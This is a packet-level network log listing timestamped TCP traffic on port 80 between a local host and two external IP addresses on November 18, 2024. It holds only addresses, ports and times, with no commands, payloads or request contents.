Nov 18, 2024 19:04:24.739288092 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.739336967 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.780561924 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.780580997 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.780606031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.780622005 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.780637026 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.780693054 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.780709028 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.780709028 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.780736923 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.780740023 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.780755043 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.780776978 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.780831099 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.780942917 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.780994892 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.795834064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.796049118 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.796139956 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.796753883 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.796822071 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.796881914 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.829387903 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.829415083 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.829428911 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.829444885 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.829648018 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.868266106 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868282080 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868299007 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868313074 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868329048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868345976 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868360043 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.868362904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868408918 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.868408918 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.868552923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868567944 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868577003 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868592024 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868609905 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868616104 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.868628025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868643999 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868649006 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.868649006 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.868659019 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868669987 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.868675947 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.868702888 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.868702888 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.868756056 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.868942022 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869091034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869174004 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869189024 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869204044 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869225979 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869227886 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869240046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869242907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869257927 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869275093 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869282961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869282961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869288921 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869306087 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869314909 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869314909 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869321108 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869329929 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869338036 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869349003 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869374037 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869380951 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869389057 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869398117 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869436026 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869436026 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869771004 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869786024 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869802952 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869811058 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869827032 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869833946 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869833946 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869833946 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869887114 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869921923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869937897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869954109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869970083 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.869976997 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869976997 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.869985104 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870002031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870009899 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870017052 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870024920 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870024920 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870032072 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870047092 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870060921 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870066881 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870066881 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870076895 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870091915 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870146990 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870798111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870812893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870827913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870835066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870842934 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870858908 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870862961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870862961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870874882 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870892048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.870897055 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870943069 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.870943069 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871419907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871434927 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871449947 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871464968 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871479988 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871489048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871489048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871495008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871510029 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871520042 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871525049 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871540070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871555090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871558905 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871558905 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871572018 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871586084 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871601105 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871601105 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871602058 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871615887 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871618986 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871644020 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871654034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871654034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871659994 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.871678114 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.871697903 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.872170925 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.872191906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.872245073 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.882978916 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.883001089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.883095026 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.883811951 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.883830070 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.883886099 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.900717974 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.900743008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.900755882 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.900794029 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.900829077 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.900855064 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.900867939 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.900880098 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.900922060 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.900933027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.901102066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.901113987 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.901168108 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.901180983 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.901180983 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.901184082 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.901211023 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.901237011 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.901257992 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.901268005 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.901299953 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.901320934 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.974549055 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.974571943 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.974648952 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.975181103 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.975311041 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.975368023 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.977885008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.977916002 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.977927923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.977978945 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978013039 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978019953 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978025913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978038073 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978076935 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978076935 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978203058 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978214025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978224039 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978240967 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978271008 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978287935 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978365898 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978377104 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978387117 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978399992 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978408098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978410959 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978435040 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978456974 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978563070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978574038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978585005 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978601933 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978617907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978630066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978640079 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978643894 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978655100 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978667021 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.978667021 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978703022 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.978703022 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979048967 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979063034 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979068995 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979079962 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979090929 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979101896 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979103088 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979115963 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979120016 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979127884 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979141951 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979157925 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979157925 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979214907 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979448080 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979460001 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979470015 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979486942 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979489088 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979505062 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979518890 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979520082 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979520082 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979530096 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979542017 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979553938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979553938 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979556084 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979564905 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979571104 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.979607105 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979607105 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.979976892 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980003119 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980015039 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980020046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980026007 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980037928 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980050087 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980061054 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980061054 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980086088 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980346918 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980356932 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980367899 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980379105 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980390072 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980400085 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980412960 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980413914 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980413914 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980423927 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980436087 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980448008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980448961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980458975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980472088 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980475903 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980496883 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980511904 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980855942 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980868101 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980879068 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980892897 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.980904102 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.980962992 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.981049061 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.981059074 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.981069088 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.981082916 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.981093884 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.981095076 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.981108904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.981108904 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.981118917 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.981164932 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.981164932 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:25.002548933 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.002568960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.002584934 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.002636909 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.051120043 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.051137924 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.051150084 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.051220894 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.097492933 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.097527981 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.097542048 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.097637892 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.124047995 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.124063015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.124078989 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.124182940 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.178850889 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.178865910 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.178877115 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.178973913 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.277148962 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.277163029 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.277174950 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.277228117 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.279802084 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.279853106 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.280000925 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.282016039 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.282154083 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.282174110 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.329094887 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.340631962 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.340647936 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.340660095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.340708017 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.391647100 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:25.414819002 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:25.414834023 CET	80	49979	62.76.234.151	192.168.2.5
